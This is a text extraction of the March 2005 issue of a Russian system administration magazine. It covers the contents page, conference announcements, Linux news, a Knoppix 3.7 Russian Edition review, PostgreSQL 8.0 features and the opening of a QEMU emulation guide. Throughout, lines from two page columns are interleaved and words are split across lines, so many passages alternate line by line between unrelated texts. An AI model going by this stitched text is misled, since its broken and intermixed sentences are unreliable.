Вы находитесь на странице: 1из 98

№3(28) март 2005

подписной индекс 81655


www.samag.ru

Linux Xinerama: один монитор хорошо,


а много лучше
Knoppix – русская редакция
Восстановление удаленных файлов
под Linux
FreeBSD в домене Microsoft Windows
Практикум Python:
отправка файлов по электронной почте
Шифрование данных в Linux –
новый взгляд на аппаратные ключи
Автоматизация процесса
подключения баз 1С
Эмуляция при помощи QEMU
Программирование на shell
в экстремальных условиях
№3(28) март 2005
оглавление

СОБЫТИЯ 2 Автоматизация процесса подключения


баз 1С с помощью сценария
ТЕНДЕНЦИИ 3 регистрации пользователей в сети
АДМИНИСТРИРОВАНИЕ Иван Коробко
ikorobko@prosv.ru 48
Обзор Knoppix 3.7 Russian Edition
Сага о биллинге,
Александр Байрак или Считаем трафик на FreeBSD
x01mer@pisem.net 4 (ng_ipacct + perl+ MySQL)
Часть 2
PostgreSQL 8.0: новые возможности
Владимир Чижиков
Сергей Супрунов skif@owe.com.ua 52
amsand@rambler.ru 7
БЕЗОПАСНОСТЬ
Эмуляция при помощи QEMU
Защита сетевых сервисов
Сергей Яремчук с помощью stunnel
grinder@ua.fm 8 Часть 3
Linux Xinerama: один монитор хорошо, Андрей Бешков
а много лучше tigrisha@sysadmins.ru 58
Павел Закляков Мониторинг сетевых событий
amdk7@mail.ru 14 при помощи sguil
FreeBSD tips: использование ipnat Сергей Яремчук
grinder@ua.fm 64
Сергей Супрунов
amsand@rambler.r 20 Шифрование данных в Linux –
новый взгляд на аппаратные ключи
FreeBSD в домене Microsoft Windows
Александр Похабов
Рашид Ачилов chiko@agk.ru 70
shelton@granch.ru 22
ПРОГРАММИРОВАНИЕ
PhpGACL – система управления правами
Система создания документации POD
Кирилл Сухов Часть 1
geol@altertech.ru 27
Алексей Мичурин
Практикум Python: отправка файлов alexey@office-a.mtu-net.ru 74
по электронной почте
Программирование на shell
Сергей Супрунов в экстремальных условиях
amsand@rambler.r 30
Гаспар Чилингаров
Восстановление удаленных файлов nm@web.am 82
под Linux
Техника оптимизации под Linux
Крис Касперски Часть 2 – ветвления
kk@sendmail.ru 36
Крис Касперски
Использование альтернативных kk@sendmail.ru 86
потоков данных
КНИЖНАЯ ПОЛКА 93
Максим Костышин
Maxim_kostyshin@mail.ru 44 BUGTRAQ 13, 43, 57
№3, март 2005 1
события
Десятая юбилейная Новая специализированная
20-21 техническая конференция
Корпоративные базы
7-9выставка-конференция
АПРЕЛЯ данных-2005
СЕНТЯБРЯ для бизнеса
LinuxWorld Russia 2005
20-21 апреля в Москве в десятый раз состоится ежегодная Выставочное объединение «Рестэк» совместно с компа-
конференция Корпоративные базы данных-2005 (http:// нией Reed Exhibitions и IDG World Expo объявляют о про-
citforum.ru/seminars/cbd2005). ведении первой в России международной специализиро-
Организатор конференции Центр Информационных Тех- ванной выставки-конференции для бизнес-инфраструкту-
нологий (ЦИТ) – владелец IT-портала, объединяющего круп- ры LinuxWorld Russia 2005.
нейшие тематические ресурсы – CITForum.ru, CITKIT.ru и Выставка пройдет 7-9 сентября 2005 года на одной пло-
др. Генеральный спонсор конференции – Microsoft, спон- щадке с Infosecurity Russia и StorageExpo в лучшем выста-
сор – InterSystems. вочном комплексе России – Гостиный двор, расположен-
Корпоративные базы данных – единственная в постсо- ном в самом сердце Москвы.
ветском пространстве независимая конференция, посвя- LinuxWorldExpo (www.linuxworldexpo.com) – это популяр-
щенная тематике средств управления базами данных. Еже- ная конференция и выставка, посвящённая решениям на
годно участники конференции имеют возможность в тече- основе Linux, которая ежегодно проходит в 15 странах мира
ние короткого времени получить самую свежую концентри- (США, Канада, Китай, Южная Африка, Италия, Япония,
рованную информацию о состоянии технологии. Англия, Нидерланды, Германия и другие).
Как всегда, с докладами о новых технологических реше- LinuxWorld – один из наиболее узнаваемых мировых вы-
ниях и перспективах выступят представители ведущих ком- ставочных брендов!
паний, поставляющих продукты для управления данными и Тим Портер, директор по развитию технологических вы-
разработки приложений: ставок компании Reed Exhibitions, отметил: «Решения на
! Microsoft ! InterSystems базе Linux уже достаточно широко распространены в Рос-
! Oracle ! РЕЛЭКС сии. Выставка LinuxWorld Russia представляет уникальную
! IBM возможность как пользователям, так и разработчикам уви-
деть последние отечественные и международные продук-
Особенностью предстоящей конференции является по- ты на быстрорастущем рынке систем с открытым кодом.
вышенное внимание к СУБД с открытым исходным кодом. В Выставки Infosecurity 2004 и Storage Expo уже получили
этом году российские разработчики, принадлежащие сооб- большую поддержку в России, и я уверен, что LinuxWorld
ществу Open Source, расскажут о состоянии и перспективах Russia будет иметь такой же успех».
систем: На выставке будут представлены продукты и решения от
! PostgreSQL ! Interbase ведущих игроков рынка: IBM, RedHat, Vdel, Sun Microsystems,
! MySQL ! Firebird Hewlett-Packard, R-Style, Cisco Systems, ALT Linux, ASP Linux,
! Ingres r3 ! Sedna Инфосистемы Джет, Инвента, Лаборатория Касперского,
Linux Inc., LinuxCenter и другие.
По словам председателя конференции Сергея Кузнецо- Основные тематики выставки LinuxWorld: Серверы и уп-
ва (ИСП РАН), движение Open Source в области баз дан- равление серверами, Приложения, Безопасность, Хранение,
ных теперь имеет стратегическое значение для нашей стра- Кластеринг/HPC/Grid-системы, Коммуникации/Сети, Мобиль-
ны. СУБД с открытым кодом стали более зрелыми, а Рос- ное программирование, Встроенные системы, Базы данных,
сия прочно вошла в сообщество разработчиков программ- Управление данными, Системы управления контентом/Пор-
ного обеспечения Open Source. Российские разработчики тальные технологии, Разработка ПО, Desktop-решения, Тен-
входят в число лидеров в любой международной команде, денции и инновации для Linux и открытых систем и многое
развивающей свободно доступные СУБД, и внутри России другое!
возникают новые собственные проекты. В рамках выставки LinuxWorld Russia предусмотрена
Сочетание докладов о ведущих коммерческих продук- насыщенная деловая программа, которая включает конфе-
тах с докладами о развитии систем категории Open Source ренцию, серию бесплатных тематических семинаров, а так-
делает программу юбилейной конференции интересной и же презентации компаний, мастер-классы и бизнес-секции
полезной для самого широкого круга специалистов. по самым актуальным вопросам развития Open Source-си-
Благодаря поддержке генерального спонсора конферен- стем.
ции Microsoft и спонсора InterSystems, на оплату регистра- LinuxWorld Russia пройдёт на одной площадке с Infosecurity
ционного взноса индивидуальных участников будут выде- и StorageExpo 2005. Совместному проведению выставок-
ляться гранты. В первую очередь на гранты могут рассчи- конференций способствует то, что Linux – одна из наибо-
тывать преподаватели, студенты и аспиранты университе- лее надёжных платформ для бизнеса, обеспечивающая
тов и вузов, а также сотрудники бюджетных научных орга- безопасность информационных систем и стабильное хра-
низаций. нение данных.
Место проведения конференции: Москва, Ленинский Подробную информацию о выставке-конференции и ус-
проспект, 32а, новое здание Президиума РАН. ловиях посещения смотрите на официальном сайте
Программа конференции и все подробности – http:// www.linuxworldexpo.ru.
citforum.ru/seminars/cbd2005. Запланируйте участие!

2
тенденции
Изменения в нумерации Linux-ядра Главной проблемой информационной безопасности мно-
В начале марта было принято решение изменить нумерацию гих внешне благополучных предприятий, по мнению техни-
релизов Linux 2.6. «Реформа» призвана решить проблему с ческого директора Ашота Оганесяна, является отсутствие
задержками в исправлении проблем, найденных в Linux 2.6.x. контроля за перемещениями инсайдерской информации.
Они связаны с тем, что часто возникают ситуации, когда Такие почти бытовые устройства, как USB-диски, могут со-
предыдущее ядро нуждается в «заплатке», однако она мо- вершенно беспрепятственно подключаться к рабочим мес-
жет быть представлена только в следующем релизе, а про- там в обход традиционных систем ограничения доступа и
цесс тестирования новой стабильной версии Linux занимает создавать неучтенные пути как утечки информации, так и
значительный объем времени. Поэтому отныне доброволь- эмиссии вирусов. Этот пробел для платформы MS Windows
цами (первыми из них стали Грег Кроа-Хартман и Крис Райт) призвана закрыть программа DeviceLock. Её последняя вер-
будет осуществляться поддержка уже вышедших Linux-ядер сия с индексом 5.7 полностью интегрирована в Active Directory
2.6.x путем публикации патчей 2.6.x.y. Результат не заста- и может не только централизованно управляться через груп-
вил себя ждать: уже 4 марта представлено Linux-ядро повые политики, но и также централизованно и очень быс-
2.6.11.1, за которым вскоре последовали и новые патчи. тро разворачиваться на существующей сети. Программа
контролирует доступ ко всем USB-устройствам, включая
GNOME 2.10 и KDE 3.4 Bluetooth и WiFi, и интерфейсам FireWire. Кроме этого, воз-
Проекты двух популярнейших открытых графических обо- можен аудит файловых операций на отслеживаемых интер-
лочек для UNIX/Linux-систем представили свои новые рели- фейсах.В планах компании – развитие серверной состав-
зы: GNOME 2.10 и KDE 3.4. На последнюю редакцию GNOME, ляющей системы DeviceLock, что позволит не только управ-
которой, несмотря на существенный прогресс, решено было лять доступом, но и при необходимости дублировать все
присвоить версию 2.10, разработчики потратили около по- передаваемые через подконтрольные устройства файлы.
лугода, а ключевыми «пакетными» изменениями стали два Введение собственной системы шифрования в перспек-
приложения: видеоплейер Totem и утилита Sound Juicer для тиве решит проблему «потерянных брелоков».
конвертирования музыки с AudioCD в цифровой формат. Конечно, «Смарт Лайн Инк» не является софтверным
Главное достижение KDE 3.4 – система, воспроизводящая гигантом, но для IT изменение вектора развития таких ком-
текст голосом (TTSS), которая доступна как сама по себе паний с зарубежного рынка на отечественный равносиль-
(в приложении KSayIt), так и в интегрированной форме в но долгожданному «удвоению ВВП» в экономике.
Konqueror, Kate, KPDF. Среди прочих многочисленных из-
менений появление новой утилиты Akregator для работы с Алексей Барабанов
информацией в формате RSS, значительные улучшения в
движке KHTML, обновление «корзины» и панели Kicker.

Intel и Open Source


В середине марта компания Intel объявила о намерении гло-
бально развивать свою Linux-программу. Кампания по пре-
дустановке открытой операционной системы на настольные
ПК началась еще в конце прошлого года с китайских и ин-
дийских производителей, а теперь стало известно, что Intel
решила распространить эту инициативу и на другие стра-
ны мира путем предоставления 160 тысячам партнеров на-
бора собственных приложений для поддержки Linux, скрип-
тов для автоматизации инсталляции и утилит для проверки
на совместимость.

Составил Дмитрий Шурупов


по материалам www.nixp.ru

Реэкспорт русских технологий


В Москве, в кафе «Максимус», 1 марта состоялась пресс-
конференция, посвященная выходу российской компании
«Смарт Лайн Инк» на отечественный рынок со своим веду-
щим продуктом – программой DeviceLock.
Компания «Смарт Лайн Инк», основанная в 1996 году в
Москве, многие годы вела очень успешный бизнес в обла-
сти защиты информации за рубежом и преимущественно в
США. И теперь ее высоко технологические продукты воз-
вращаются на родину. В 2005 году в первоочередных стра-
тегических планах компании «Смарт Лайн Инк» было заяв-
лено развитие российского рынка.

№3, март 2005 3


администрирование

ОБЗОР KNOPPIX 3.7 RUSSIAN EDITION

АЛЕКСАНДР БАЙРАК
Knoppix – один из первых самозагружаемых (LiveCD) дист- Кому может оказаться полезным данный дистрибутив?
рибутивов Linux. В настоящий момент он же является и са- Да кому угодно, начиная от человека, решившего «попро-
мым популярным. В этом небольшом обзоре будет расска- бовать» Linux, но не знающего, с чего начать, и заканчивая
зано о Knoppix 3.7 Russian Edition от LinuxCenter.ru. системным администратором, для которого Knoppix может

4
администрирование
послужить «спасательной дискетой». Система полностью на выбор. Справедливости ради отмечу, что входящий в
автономна, вы можете использовать ее даже на компьюте- состав Fluxbox, русифицирован не до конца: кирилличес-
ре без жесткого диска. Тут я хочу заметить, что эта статья кие символы в меню отображаются некорректно. То же са-
была написана мной в Knoppix с использованием Open мое происходит и с Xfce. Любопытно, что если вы решите
Office.org Writer и KSnapshot. Что же входит в состав дист- покинуть графический интерфейс и выйти в голую консоль,
рибутива: ничего у вас не получится . По умолчанию система загру-
! рабочая среда KDE 3.3.0; жается на 5-м уровне запуска (runlevel). Для того чтобы по-
! офисный пакет OpenOffice.org 1.1.3; пасть в консоль, нужно выбрать 2-й или 3-й уровень.
! браузер Mozilla 1.7.3. Беглый взгляд на меню поражает многообразием при-
ложений, которые разработчики вместили в дистрибутив.
Само собой, это далеко не полный список. Я перечис- Памятуя о сформулированных выше задачах, рассмотрим
лил лишь основные, наиболее известные компоненты. некоторые из них более подробно.
По умолчанию используется ядро Linux версии 2.4.27.
Надо заметить, что в дистрибутиве присутствует и ядро из
ветки 2.6. Но, к сожалению, запустить его мне не удалось.
Knoppix сообщил при этом:
Could not find ramdisk image: minirf26.gz

Выбор используемого ядра (и не только) осуществляет-


ся в меню, попасть в которое можно, нажав <F2> в началь-
ный момент загрузки системы. Существует еще одно меню,
в котором вы можете указать различные параметры, такие
как: оконный менеджер по умолчанию, язык, разрешение
экрана, уровень запуска (runlevel) системы. Для получения
доступа к этим настройкам нажмите <F3>.
На моем компьютере (P3-550 МГц/320 Ram) полная заг-
рузка заняла порядка 3 минут.
Для создания текстовых документов представлен ши-
рокий перечень текстовых редакторов, начиная от vi и за-
канчивая Writer из пакета OpenOffice.org. Так что с уверен-
ностью можно сказать, что проблем с составлением тек-
стовых документов не возникнет. Создание и просмотр
электронных таблиц осуществляется c помощью програм-
мы Calc из комплекта OpenOffice.org. Работа с графичес-
кими файлами также не вызывает проблем. Создать изоб-
ражение вы сможете с помощью таких программ, как GIMP
или OpenOffice.org Draw. Для просмотра картинок список
программ еще больше, один ImageMagik чего стоит. Доку-
менты в формате PDF можно читать с помощью XPDF, KPDF
или Acrobat Reader. Я перечислил далеко не все, что может
пригодиться вам для работы с документами.

Я решил подготовить обзор дистрибутива не с точки зре-


ния системного администратора UNIX, а с точки зрения
обычного пользователя. Основное внимание я буду уделять
рассмотрению следующих возможностей системы:
! создание и редактирование различных документов;
! работа с сетью (просмотр сайтов, электронная почта);
! мультимедиа-возможности.

Сразу хочу отметить, что русификация и локализация


системы выполнена на высоком уровне, почти все програм-
мы корректно отображают и работают с кириллическими
символами.
После загрузки мы попадаем в привычное многим ок-
ружение KDE. Впрочем, KDE – не единственная графичес-
кая среда. Вы можете также использовать Xfce, оконные Настройка сети каких-либо проблем не вызывает. С по-
менеджеры WindowMaker, IceWM, Fluxbox, LarsWM или twm, мощью удобных конфигураторов можно создать любое под-

№3, март 2005 5


администрирование
ключение: модемное, кабельное и даже GPRS. Выбор брау- носитель с файловой системой ext2 или DOS FAT16/FAT12.
зеров богатейший, от простого текстового Lynx и до Mozilla В качестве такового я выбрал дискету. Надо заметить, что
(жаль, что в составе дистрибутива нет Firefox). Посмотреть создать требуемые для программы сохранения настроек
электронную почту можно при помощи Kmail, mutt или по- файловые системы можно, что называется, «не отходя от
чтового клиента Mozilla Mail. Для любителей общаться через кассы». Стоит лишь воспользоваться утилитой kfloppy, кото-
Интернет предлагаются IRC-клиент XChat, ICQ-пейджер Sim. рая отформатирует вашу дискету и разместит на ней фай-
Из прочих «благ цивилизации» отметим менеджеры загру- ловые системы FAT-12/ext2 на выбор. Другой не менее инте-
зок KGet, Downloader for X, программу для чтения групп но- ресной возможностью является указание постоянной домаш-
востей Knode. Работая с Knoppix, вы без проблем сможете ней директории. В качестве хранилища для размещенных в
«влиться» в Windows-сеть, запустив сервер Samba. Посмот- ней файлов я использовал USB Flash размером 32Мб.
реть общедоступные ресурсы в сети можно с помощью В дистрибутиве присутствует компилятор gcc версии 3.3.4
smb4k. Особенно любопытные пользователи могут восполь- и make версии 3.80, а также утилита apt-get. Это значит, что
зоваться снифферами ethereal и ettercap, а также сканером мы можем расширять Knoppix и адаптировать его под соб-
уязвимостей nessus. Для обеспечения удаленного доступа к ственные нужды. В качестве примера я собрал эмулятор
компьютеру, работающему под управлением Knoppix, мож- mips64emul (подробнее о нем можно прочитать в журнале
но запустить SSH-сервер, а также организовать совместное «Системный администратор», №11, ноябрь 2004 г.) Получив-
использование рабочего стола по протоколу VNC. шийся после компиляции бинарный файл я разместил в до-
Под мультимедиа-возможностями я подразумеваю про- машнем каталоге (а его, как вы помните, можно сохранять
слушивание музыки, просмотр фильмов, ну и наличие про- где угодно). При запуске Knoppix находит и монтирует все
стеньких игр. Начнем с музыки. Тут все просто – самый по- известные ему файловые системы. Так что пользователь
пулярный аудиоплеер для UNIX-систем – это XMMS, рабо- может получить доступ к своим файлам, которые находятся,
тающий в среде X-Window, и консольный mpg123. В систе- например, в файловой системе FAT32 или Ext2. NTFS тоже
ме присутствуют оба. Видео можно смотреть как с помо- монтируется, но в режиме «только для чтения». К сожале-
щью Xine, так и через MPlayer. Лично мне второй мне бо- нию, ufs , ufs2 и файловую систему Solaris Knoppix не видит,
лее привычен. и, как следствие, работать с ними не может.
В процессе знакомства с Knoppix я нашел в его составе
всё (ну или почти всё), что нужно обычному пользователю
для работы и, конечно, отдыха. Я думаю, разработчики до-
стигли своей цели, создав дистрибутив, подходящий для
решения широкого круга задач, для большой аудитории
пользователей. Как уже упоминалось, дистрибутив послу-
жит надежным компаньоном для людей, желающих позна-
комиться с миром открытых систем. Удачным вариантом
будет использование Knoppix в офисе. А что? Отличная
идея. Пользователи приходят, загружаются с диска и начи-
нают работать. Свои файлы можно хранить как на смен-
ных носителях, так и в главном «хранилище» файлов. По
аналогичной схеме дистрибутив можно использовать и в
различных учебных заведениях.
Приятно, что в состав системы входит небольшой спра-
вочник с описанием наиболее популярных программ, вклю-
На диске даже нашлось место для нескольких игр. Кро- ченных в дистрибутив. Как таковых «минусов» в этой сис-
ме стандартного набора, входящего в KDE, доступны с де- теме я не обнаружил. Недоработки есть. Одна из главных,
сяток других игр разного жанра. как это ни парадоксально, все та же пресловутая пробле-
Что еще интересного всходит в систему? Kooka – про- ма с русским языком. Раз уж дистрибутив в своем назва-
грамма для сканирования и распознавания текста. Kgeo по- нии имеет приставку «Russian Edition», то разработчики
может освоить азы геометрии. К услугам разработчиков IDE должны были из кожи вон вылезти, но везде обеспечить
Kdevlop, языки Python, TCL, PHP, Perl, и конечно C/C++. От- работу с кириллицей, досконально проверив все. Как я уже
мечу, что в состав дистрибутива входит ассемблер gas вер- упомянул, проблемы с отображением русских букв присут-
сии 2.15 и компоновщик ld той же версии. Для создания веб- ствуют в оконных менеджерах Fluxbox и Xfce. Аналогичные
страниц можно использовать Quanta Plus. Работа с карман- недочеты встретились мне еще в нескольких программах.
ными компьютерами Palm осуществляется с помощью Kpilot К более мелким замечаниям можно отнести некую неряш-
и Jpilot (из личного опыта скажу, что второй удобнее). Запу- ливость в выборе настроек по умолчанию. Например, от-
стить Windows-приложения (по крайней мере, попробовать кройте в XINE меню для выбора загружаемого файла. Да,
это сделать) можно через WINE. Для записи дисков есть k3b. шрифт, мягко сказать, не совсем удобочитаемый. Будем на-
Само собой, в системе присутствуют такие полезные вещи, деяться, что в следующих версиях системы эти досадные
как персональный органайзер и адресная книга. Несомнен- недоразумения будут исправлены. Но в целом эти мелкие
но, полезнейшим дополнением является возможность сохра- недоработки, которые не смогли испортить благоприятное
нить все свои настройки. Для этого нам потребуется любой впечатление от дистрибутива.

6
администрирование

PostgreSQL 8.0: НОВЫЕ ВОЗМОЖНОСТИ


СЕРГЕЙ СУПРУНОВ
В середине января этого года вышла новая версия откры- перь есть возможность в потенциально опасных местах
той системы управления базами данных PostgreSQL 8.0. Ос- транзакции размещать savepoints и в дальнейшем при об-
новные характеристики этой СУБД были рассмотрены ра- работке ошибки откатывать транзакцию только до указан-
нее на страницах журнала (см. статью «PostgreSQL: пер- ной точки сохранения. Для этого используется команда
вые шаги», №7, 2004 г.). По сравнению с 7-й веткой (на «ROLLBACK TO savepointname», где savepointname – имя
данный момент это версия 7.4.7) в 8-й версии появился ряд точки сохранения, присвоенное ей командой «SAVEPOINT
нововведений, краткому обзору которых и посвящена эта savepointname». После устранения причины ошибки обра-
статья. ботка транзакции продолжится, при этом операции, выпол-
Помимо традиционных исправлений недоработок, вы- ненные нормально, повторяться не будут.
явленных в прежних версиях, и общих улучшений, смена Команда «COPY», которая служит для загрузки данных
«мажорной» версии ознаменовалась рядом принципиаль- в таблицу из внешних файлов и сохранения данных из таб-
ных новшеств, направленных прежде всего на расширение лиц в файлы, раньше поддерживала текстовый формат с
возможностей по управлению СУБД. разделителями и собственный двоичный формат. Теперь
Итак, добавлено понятие табличного пространства (table она поддерживает также работу с файлами в формате CSV
spaces). Раньше хранилище данных размещалось в дирек- (comma separated value), что упрощает обмен данными меж-
тории, указанной при инициализации командой initdb, то ду PostgreSQL и, скажем, файлами Excel. Например, чтобы
есть жестко определялось на стадии инсталляции СУБД и сохранить данные из CSV-файла, требуется подготовить
могло находиться только на одной файловой системе. Про- таблицу, столбцы которой соответствуют по типу полям заг-
блемы со свободным местом приходилось решать либо с ружаемого файла. Затем выполняется команда:
помощью переноса хранилища в другой раздел диска и раз-
мещения символьной ссылки на него, либо повторной ини- COPY mytable FROM ‘/path/to/file.csv’ WITH CSV;
циализацией хранилища с последующим восстановлени-
ем данных из резервной копии. Теперь команда «CREATE В результате данные из file.csv допишутся в конец таб-
TABLESPACE» позволяет создать несколько табличных про- лицы mytable. Каждая строка файла становится одной за-
странств на разных файловых системах. И в дальнейшем писью, в качестве разделителя полей будет использован
при создании новой базы данных (CREATE DATABASE), таб- символ «запятая». Этот вариант простейший, в общем слу-
лицы (CREATE TABLE), индекса (CREATE INDEX) и т. д. мож- чае можно явно указывать поля таблицы, которые будут за-
но указать, в каком табличном пространстве следует раз- полняться из файла, и их порядок, а также задавать ряд до-
местить объекты. Это помогает более гибко управлять раз- полнительных параметров. Подробности смотрите в справ-
мещением данных на диске и в ряде случаев повышает бы- ке (например, введя команду «\h copy» в интерактивном тер-
стродействие, например, за счет выноса индексных фай- минале psql).
лов в табличное пространство, расположенное на отдель- Обновлена версия встроенного языка PL/Perl, позволя-
ном жестком диске. ющего разрабатывать хранимые процедуры на языке Perl.
Команда «ALTER TABLE» позволяет теперь изменять тип Напомню, что помимо PL/pgSQL и PL/Perl, PostgreSQL по-
данных столбца. Раньше для этого требовалось создать но- зволяет использовать для разработки серверной части при-
вый столбец, перенести в него данные и затем старый уда- ложений также языки Python (PL/Python) и Tcl (PL/Tcl). С
лить. До версии 7.3 удалять столбцы тоже было нельзя, и сайта www.postgresql.org дополнительно можно скачать и
приходилось либо мириться с тем, что никому не нужный установить модули, обеспечивающие поддержку языков
столбец занимает место, либо менять структуру таблицы PHP, Java и др. Разработчики PostgreSQL уделили долж-
самым универсальным способом – создавая на ее основе ное внимание и системам от Microsoft – теперь выпускает-
новую. Теперь для этого достаточно одной команды: ся «родная» версия этой СУБД для Windows 2000/2003/XP.
Раньше тоже можно было запускать PostgreSQL в Windows,
ALTER TABLE test ALTER COLUMN mynum TYPE NUMERIC(4,2); но под управлением UNIX-эмулятора Cygwin, что крайне от-
рицательно сказывалось на быстродействии и требователь-
Старый и новый типы должны быть совместимы. То есть ности к ресурсам и практически не позволяло говорить о
вы можете изменить тип numeric(5,2) на numeric(9,2), что- «промышленной» эксплуатации PostgreSQL на этих опера-
бы хранить большие числа, но попытка изменить, напри- ционных системах. Таким образом, можно констатировать
мер, числовой тип на строковый приведет к ошибке. тот факт, что PostgreSQL по своим характеристикам все
Также в новой версии появились так называемые точки больше приближается к таким коммерческим «монстрам»
сохранения транзакций (savepoints). В ранних версиях в слу- как Oracle. Конечно, по отношению к Oracle PostgreSQL по-
чае ошибки внутри транзакции она «откатывалась» полно- прежнему находится в роли догоняющего, однако разрыв
стью, что в сложных транзакциях (например, при отработ- сокращается с каждым новым релизом, и выбор этой бес-
ке функций) приводило к значительной трате ресурсов. Те- платной СУБД становится все более предпочтительным.

№3, март 2005 7


администрирование

ЭМУЛЯЦИЯ ПРИ ПОМОЩИ QEMU

СЕРГЕЙ ЯРЕМЧУК
C увеличением вычислительной мощности настольных сис- запустив еще одну операционную систему, можно проверять
тем возрос интерес к различного рода эмуляциям. Причина работу приложений в различных средах, не перегружаясь по
ясна – теперь пользователь может работать с привычными нескольку раз в день, изучать взаимодействие, исследовать
приложениями в другой операционной системе, а то и вовсе неизвестное и, возможно, потенциально опасное программ-
запускать несколько копий операционных систем, создавая ное обеспечение, использовать специфические инструмен-
целые виртуальные сети на одном компьютере. Список пред- ты, организовать обучение с теми или иными программны-
ложений растет с каждым днем, появляются как свободные ми комплексами. Приложения, эмулирующие аппаратную
реализации, так и коммерческие приложения. Эмулируется среду, называют системными эмуляторами или виртуальны-
все, от игровых приставок и компьютеров давно ушедших ми машинами. Среди них наиболее популярны bochs (http://
дней до операционных систем или отдельных сервисов. Но, bochs.sourceforge.net) и VMWare (http://www.vmware.com).
судя по всему, наибольший интерес на сегодня представля- Первый, довольно мощный эмулятор, но с довольно неудоб-
ет эмуляция именно компьютеров, т.к. это более востребо- ным трудоемким и непонятным для новичка процессом на-
ванный продукт, особенно среди профессионалов. Теперь, стройки. Недостаток второго – цена, он является коммер-

8
администрирование
ческим продуктом. Есть еще, конечно, и Cooperative Linux – ! мышь PS/2 и клавиатура;
coLinux (http://www.colinux.org), позволяющий запускать ! 2 PCI IDE-интерфейса для жесткого диска и поддержку
ядро Linux как отдельный процесс в среде ОС Windows, но, CD-ROM;
как видите, он имеет ограничения и может подойти не для ! один гибкий диск;
всех ситуаций. Есть и другие проекты, имеющие свои осо- ! до 6 NE2000 PCI-сетевых карт;
бенности. Между тем сегодня доступен свободный продукт, ! до 4 последовательных (СОМ)-портов;
который наряду с большой функциональностью и скорос- ! вывод звука через Soundblaster 16-совместимую карту.
тью работы имеет относительно простые настройки и объе-
диняет в себе некоторые достоинства, доступные в отдель- Как видите, на данный момент виртуальная машина в
ных проектах. qemu не работает с USB- и SCSI-устройствами. Здесь он
QEMU (http://fabrice.bellard.free.fr/qemu/index.html) пред- пока, бесспорно, проигрывает VMWare.
ставляет собой Open Source-эмулятор, достигающий хоро- Все библиотеки и эмулятор распространяются в исход-
шей скорости эмуляции, используя динамическую трансля- ных текстах по GNU LGPL, исключение составляет только
цию кода, и способный эмулировать процессоры других ар- QEMU Accelerator Module, являющийся проприетарным про-
хитектур. Отличительной особенностью QEMU является дуктом и требующий согласия разработчиков при распрос-
наличие двух видов эмуляции: транении и коммерческом использовании.
! full system emulation, при которой создается виртуаль-
ная машина, имеющая свой процессор и различную пе- Установка QEMU
риферию, что позволяет запускать еще одну операци- Скомпилированная версия для GNU/Linux, исходные тексты
онную систему; и модуль QEMU Accelerator Module доступны на сайте про-
! User mode emulation, этот режим, реализованный толь- екта на странице Download. За версиями для Windows и Mac
ко для GNU/Linux, позволяет запускать на родном про- OS X необходимо идти на сайт Free Operating System Zoo –
цессоре программы, откомпилированные под другую FreeOSZoo (http://www.freeoszoo.org). На этих же сайтах вы
платформу. найдете и готовые образы свободных операционных сис-
тем для запуска при помощи QEMU. Размер архива неболь-
Опционально доступен QEMU Accelerator Module (KQEMU), шой, чуть меньше одного мегабайта. Установка из исход-
выполняющий часть кода напрямую на реальном процес- ных текстов происходит обычным образом. При написании
соре, минуя виртуальный, и таким образом оптимизируя вы- статьи использовался ASPLinux 10 Express.
полнение кода в full system emulation-режиме.
Установить QEMU можно на GNU/Linux, MS Windows # su
# tar zxvf qemu-0.6.1.tar.gz
всех версий начиная с Windows 3.11, BeOS 5 PE, FreeDOS # cd qemu-0.6.1
и MSDOS, Solaris, NetBSD, OS/2, Minix и некоторых других. # ./configure
# make
Полный список операционных систем, на которых протести- # make install
рована работа qemu с указанием особенностей, доступна в
документе «QEMU OS Support»: http://fabrice.bellard.free.fr/ После чего эмулятор можно запускать. Если набрать
qemu/ossupport.html. qemu без параметров, то будет выведен список опций. В
На момент написания статьи в качестве основной плат- общем случае строка запуска выглядит так:
формы могли использоваться компьютеры на базе x86- и
PowerPC-процессоров, на стадии тестирования находились qemu [options] [disk_image]
x86_64, Alpha, Sparc32, ARM и S390. В режиме full system
emulation пока полноценно эмулируется только x86-плат- Теперь для примера работы гостевой системы вставля-
форма, хотя уже доступны реализации x86_64, SPARC и ем загрузочный диск в CD-ROM и даем такую команду:
PowerPC, но они находятся в стадии тестирования. QEMU
Accelerator Module реализован пока только для Linux, хотя # qemu -cdrom /dev/cdrom
в будущем планируется также поддержка Windows, *BSD и Connected to host network interface: tun0
64 разрядных процессоров. В user mode список чуть боль-
ше x86, ARM, SPARC и PowerPC. Остальные платформы В результате откроется еще одно окно, в котором нач-
находятся пока на стадии тестирования, и при работе воз- нется процесс обычной загрузки системы. Если был встав-
можны сбои. лен диск с одним из LiveCD-дистрибутивов, то его тут же
Виртуальная машина i386-архитектуры, созданная при можно использовать обычным образом. Естественно, ско-
помощи qemu, получает в свое распоряжение следующий рость работы гостевой системы будет ниже, чем при запус-
набор виртуальных устройств: ке на реальной системе. Для того чтобы набирать данные в
! процессор такой же частоты, как и на основной системе, гостевой системе, нужно просто щелкнуть мышью в окне,
в многопроцессорной системе виртуальный компьютер выйти в основную систему можно, нажав <Ctrl+Alt>. В за-
получает в свое распоряжение только один процессор; висимости от установок родительской ОС может выскочить
! PC BIOS, используемый в проекте Bochs; сообщение о том, что qemu не может получить DNS-имя.
! материнская плата i440FX с PIIX3 PCI – ISA-мостом; Происходит это потому, что программа не может настроить
! видеокарта Cirrus CLGD 5446 PCI VGA или VGA карта с сеть с параметрами по умолчанию. Самым простым выхо-
Bochs VESA-расширениями; дом будет добавить опцию -dummy-net, активирующую под-

№3, март 2005 9


администрирование
дельный сетевой стек, но при этом гостевой системой не обмена информацией между основной и гостевой систе-
будут приниматься и отправляться пакеты. мами является перенаправление. Формат опции такой:

# qemu -dummy-net -cdrom /dev/cdrom -redir [tcp|udp]:host-port:[guest-host]:guest-port

Имея готовый iso-образ, можно его проверить перед за- И запустив эмуляцию с такой опцией:
писью на диск (рис. 1).
# qemu -redir tcp:1234::23 -cdrom /dev/cdrom
# qemu -dummy-net -cdrom movix.iso
Получим возможность подключаться к telnet-порту на го-
По умолчанию qemu для поднятия виртуального сете- стевой системе.
вого tap/tun-интерфейса использует скрипт /etc/qemu-ifup,
если таковой не обнаруживается, то пытается использовать # telnet localhost 1234
параметр -user-net. В этом режиме запускается виртуаль-
ный межсетевой экран и DHCP-сервер, имеющий адрес Кроме готовых iso-образов, несомненным удобством яв-
10.0.2.2, виртуальный DNS-сервер (10.0.2.3) и SMB-сервер ляется возможность загрузить операционную систему, уже
